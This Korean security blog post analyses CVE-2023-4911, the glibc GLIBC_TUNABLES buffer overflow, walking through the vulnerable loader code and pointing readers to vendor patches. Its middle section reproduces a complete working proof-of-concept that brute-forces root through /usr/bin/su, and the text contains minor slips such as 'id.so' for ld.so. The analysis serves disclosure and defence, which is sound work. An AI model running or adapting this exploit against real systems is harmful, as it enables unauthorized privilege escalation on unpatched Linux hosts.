1. GNU C 라이브러리 (glibc) [1]

- GNU 프로젝트가 C 표준 라이브러리를 구현한 것

> 리눅스 계열 운영체제에서 C언어로 작성된 실행파일들이 동작하기 위해 공통적으로 사용하는 기능을 쉽게 이용할 수 있도록 묶어 놓은 소프트웨어 집합

- 시스템 호출과 다양한 기본 기능들(open, malloc, printf 등)을 포함하기 때문에 대부분의 시스템에서 사용

 

1.1 Dynamic Loader

- 프로그램 준비 및 실행을 담당하는 glibc의 중요한 구성요소

- 프로그램을 실행할 경우 Dynamic Loader는 다음과 같이 동작

① 해당 프로그램을 검사하여 필요한 공유 라이브러리(.io) 결정

② 결정된 공유 라이브러리를 검색하여 메모리에 로드

③ 런타임에 실행 파일과 공유 라이브러리 연결

④ 함수 및 변수 참조와 같은 레퍼런스를 확인하여 프로그램 실행을 위한 모든 것이 설정되었는지 확인

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-4911 [2]

- glibcd의 Dynamic Loader인 id.so의 GLIBC_TUNABLES 환경변수를 처리하는 과정에서 발생하는 버퍼 오버 플로우 취약점

- 해당 취약점은 2021년 04월 (glibc 2.34) 커밋 2ed18c부터 존재했던 것으로 확인됨

영향받는 버전
- Fedora 37, 38 버전
- Ubuntu 22.04, 23.04 버전
- Debian 12, 13 버전

※ 대부분의 리눅스 배포판에서 glibc를 사용하기 때문에 다른 리눅스 배포판에도 취약점이 존재할 가능성이 높음
즉, 대부분의 리눅스 배포판에 해당 취약점이 존재한다는 의미

※ 단, Alpine Linux는 라이브러리로 glibc가 아닌 musl libc를 사용하기 때문에 해당 취약점에 영향을 받지 않음

 

2.1 GLIBC_TUNABLES [3]

- 사용자들이 런타임 시 라이브러리의 행동 패턴을 조정할 수 있게 해 주는 것

- 사용자가 매번 필요할 때마다 컴파일링 작업을 다시 하지 않아도 되어 편리성을 높여줌

> 사용자들이 직접 값을 입력해 설정하는 것으로, 부정한 값이 입력될 위험성이 존재

 

2.2 취약점 상세

- 최초 실행시 id.so는 __tunables_init ()를 호출하며, 해당 함수의 기능은 다음과 같음

① 모든 환경 변수 조회 (Line 279)

② 존재하는 환경 변수 중 환경 변수 GLIBC_TUNABLE 검색 (Line 282)

③ 위 과정에서 검색한 각각의 GLIBC_TUNABLE 환경 변수의 사본 생성 (Line 284)

④ parse_tunables()를 호출하여 사본 GLIBC_TUNABLE 환경 변수 처리 및 검사 (Line 286) ---> 취약점 발생 지점

⑤ 원본 GLIBC_TUNABLE 환경 변수를 사본 GLIBC_TUNABLE 환경 변수로 변경 (Line 288)

269 void
270 __tunables_init (char **envp)
271 {
272   char *envname = NULL;
273   char *envval = NULL;
274   size_t len = 0;
275   char **prev_envp = envp;
...
279   while ((envp = get_next_env (envp, &envname, &len, &envval,
280                                &prev_envp)) != NULL)
281     {
282       if (tunable_is_name ("GLIBC_TUNABLES", envname))
283         {
284           char *new_env = tunables_strdup (envname);
285           if (new_env != NULL)
286             parse_tunables (new_env + len + 1, envval);
287           /* Put in the updated envval.  */
288           *prev_envp = new_env;
289           continue;
290         }

 

- parse_tunables() 함수는 복사본을 삭제하고 tunestr에서 모든 위험한 튜너블(SXID_ERASE)을 제거함

> 첫 번째 인수는 사본 GLIBC_TUNABLES을, 두 번째 인수는 원본 GLIBC_TUNABLES를 가리킴

> 정상적인 형태는 "tunable1= aaa:tunable2= bbb" 형태인 것으로 판단됨

162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168   char *p = tunestr;
169   size_t off = 0;
170 
171   while (true)
172     {
173       char *name = p;
174       size_t len = 0;
175 
176       /* First, find where the name ends.  */
177       while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178         len++;
179 
180       /* If we reach the end of the string before getting a valid name-value
181          pair, bail out.  */
182       if (p[len] == '\0')
183         {
184           if (__libc_enable_secure)
185             tunestr[off] = '\0';
186           return;
187         }
188 
189       /* We did not find a valid name-value pair before encountering the
190          colon.  */
191       if (p[len]== ':')
192         {
193           p += len + 1;
194           continue;
195         }
196 
197       p += len + 1;
198 
199       /* Take the value from the valstring since we need to NULL terminate it.  */
200       char *value = &valstring[p - tunestr];
201       len = 0;
202 
203       while (p[len] != ':' && p[len] != '\0')
204         len++;
205 
206       /* Add the tunable if it exists.  */
207       for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208         {
209           tunable_t *cur = &tunable_list[i];
210 
211           if (tunable_is_name (cur->name, name))
212             {
...
219               if (__libc_enable_secure)
220                 {
221                   if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222                     {
223                       if (off > 0)
224                         tunestr[off++] = ':';
225 
226                       const char *n = cur->name;
227 
228                       while (*n != '\0')
229                         tunestr[off++] = *n++;
230 
231                       tunestr[off++] = '=';
232 
233                       for (size_t j = 0; j < len; j++)
234                         tunestr[off++] = value[j];
235                     }
236 
237                   if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238                     break;
239                 }
240 
241               value[len] = '\0';
242               tunable_initialize (cur, value);
243               break;
244             }
245         }
246 
247       if (p[len] != '\0')
248         p += len + 1;
249     }
250 }

 

- GLIBC_TUNABLE 환경 변수가 "tunable1=tunable2=AAA" 처럼 예기치 않은 입력 값을 포함하는 경우 parse_tunables()에서 취약점이 발생

> 입력값 전체를 유효한 값으로 복사하며, 이는 Tunables이 SXID_IGNORE 유형일 때 발생

① while(true)를 첫 번째 반복 동안 "tunable1=tunable2=aaa"가 tunestr에 복사 (Line 221~235)

② p는 증가하지 않고 여전히 "tunable1", 즉 "tunable2= aaa"의 값을 가리킴 (Line 247~248)

> Line 203~204에서 ':'이 발견되지 않았기 때문

while(true)를 두 번째 반복 동안 "tunable2= aaa"가 tunestr에 복사되며 tunestr에서 버퍼 오버 플로우 발생

 

- 공격자는 해당 취약점을 악용해 SUID 등이 설정된 프로그램을 실행시켜 권한을 상승시킴 [4][5]

 

2.3 PoC [6]

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/stat.h>
#include <sys/wait.h>

#define ENV_ITEM_SIZE ((32*4096) - 1)

// No ASLR
//#define STACK_TARGET   0x00007ffffff0c808
// ASLR Brute
#define STACK_TARGET   0x00007ffdfffff018

char * p64(uint64_t val) {
    char * ret = malloc(8);
    memset(ret, 0, 8);
    memcpy(ret, &val, 8);
    ret[7] = 0;
    return ret;
}

char * allocation_helper(const char * base, int size, char fill) {
    char * ret = NULL;
    char * chunk = malloc(size + 1);
    memset(chunk, fill, size);
    chunk[size] = 0;
    asprintf(&ret, "%s%s", base, chunk);
    free(chunk);
    return ret;
}

char * create_u64_filler(uint64_t val, size_t size) {
    uint64_t * ret = malloc(size + 1);
    // We need to make sure the allocation does not contain a premature null byte
    memset(ret, 0x41, size);
    for (int i = 0; i < size / 8; i++) {
        ret[i] = val;
    }
    // force null-termination
    char* ret2 = (char*)ret;
    ret2[size] = 0;
    return ret2;
}

void setup_dir() {
    // TODO: This is very much not compatible with all distros
    system("rm -rf ./\x55");
    mkdir("./\x55", 0777);
    system("cp /usr/lib/x86_64-linux-gnu/libc.so.6 ./\x55/libc.so.6");
    system("cp ./suid_lib.so ./\x55/libpam.so.0");
    system("cp ./suid_lib.so ./\x55/libpam_misc.so.0");
}

int main(int argc, char** argv) {

    setup_dir();

    int num_empty = 0x1000;
    int env_num = num_empty + 0x11 + 1;
    char ** new_env = malloc((sizeof(char *) * env_num) + 1);
    memset(new_env, 0, (sizeof(char *) * env_num) + 1);
    printf("new_env: %p\n", new_env);

    if (new_env == NULL) {
        printf("malloc failed\n");
        exit(1);
    }

    // This is purely vibes based. Could probably be a lot better.
    const char * normal = "GLIBC_TUNABLES=";
    const char * normal2 = "GLIBC_TUNABLES=glibc.malloc.mxfast:";
    const char * overflow = "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=";
    int i = 0;
    // Eat the RW section of the binary, so our next allocations get a new mmap
    new_env[i++] = allocation_helper(normal, 0xd00, 'x');
    new_env[i++] = allocation_helper(normal, 0x1000 - 0x20, 'A');
    new_env[i++] = allocation_helper(overflow, 0x4f0, 'B');
    new_env[i++] = allocation_helper(overflow, 0x1, 'C');
    new_env[i++] = allocation_helper(normal2, 0x2, 'D');

    // the remaining env is empty strings
    for (; i < env_num; i++) {
        new_env[i] = "";

        if (i > num_empty)
            break;
    }

    // This overwrites l->l_info[DT_RPATH] with a pointer to our stack guess.
    new_env[0xb8] = p64(STACK_TARGET);

    // Create some -0x30 allocations to target a stray 0x55 byte to use as our R path.
    for (; i < env_num - 1; i++) {
        new_env[i] = create_u64_filler(0xffffffffffffffd0, ENV_ITEM_SIZE);
    }
    new_env[i-1] = "12345678901"; // padding to allign the -0x30's

    printf("Done setting up env\n");

    char * new_argv[3] = {0};
    new_argv[0] = "/usr/bin/su";
    // If we get a "near miss", we want to make sure su exits with an error code.
    // This happens when the guessed stack address is valid, but points to another (empty) string.
    new_argv[1] = "--lmao";

    printf("[+] Starting bruteforce!\n");
    int attempts = 0;
    while (1) {
        attempts++;

        if (attempts % 100 == 0)
            printf("\n[+] Attempt %d\n", attempts);

        int pid = fork();
        if (pid < 0) {
            perror("fork");
            exit(1);
        }

        if (pid) {
            // check if our child was successful.
            int status = 0;
            waitpid(pid, &status, 0);
            if (status == 0) {
                puts("[+] Goodbye");
                exit(0);
            }
            printf(".");
            fflush(stdout);
        } else {
            // we are the child, let's try to exec su
            int rc = execve(new_argv[0], new_argv, new_env);
            perror("execve");
        }

    }
    
}

 

- PoC 시연 참조 [7]

[영상 1] 공격 시연 영상

 

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [8][9][10]

> 레드햇, 우분투, 업스트림, 데비안, 젠투 등 주요 리눅스 배포판들이 보안 업데이트 발표

 

4. 참고

[1] https://www.gnu.org/software/libc/
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-4911
[3] https://www.gnu.org/software/libc/manual/html_node/Tunables.html
[4] https://blog.qualys.com/vulnerabilities-threat-research/2023/10/03/cve-2023-4911-looney-tunables-local-privilege-escalation-in-the-glibcs-ld-so
[5] https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
[6] https://github.com/RickdeJager/CVE-2023-4911
[7] https://www.youtube.com/watch?v=uw0EJ5zGEKE&list=PPSV
[8] https://access.redhat.com/security/cve/CVE-2023-4911
[9] https://security-tracker.debian.org/tracker/CVE-2023-4911
[10] https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4DBUQRRPB47TC3NJOUIBVWUGFHBJAFDL/
[11] https://www.boannews.com/media/view.asp?idx=122421&kind=1&search=title&find=%C7%F6%C1%B8%C7%CF%B4%C2+%B0%C5%C0%C7+%B8%F0%B5%E7+%B8%AE%B4%AA%BD%BA+%BD%C3%BD%BA%C5%DB%BF%A1%BC%AD 

+ Recent posts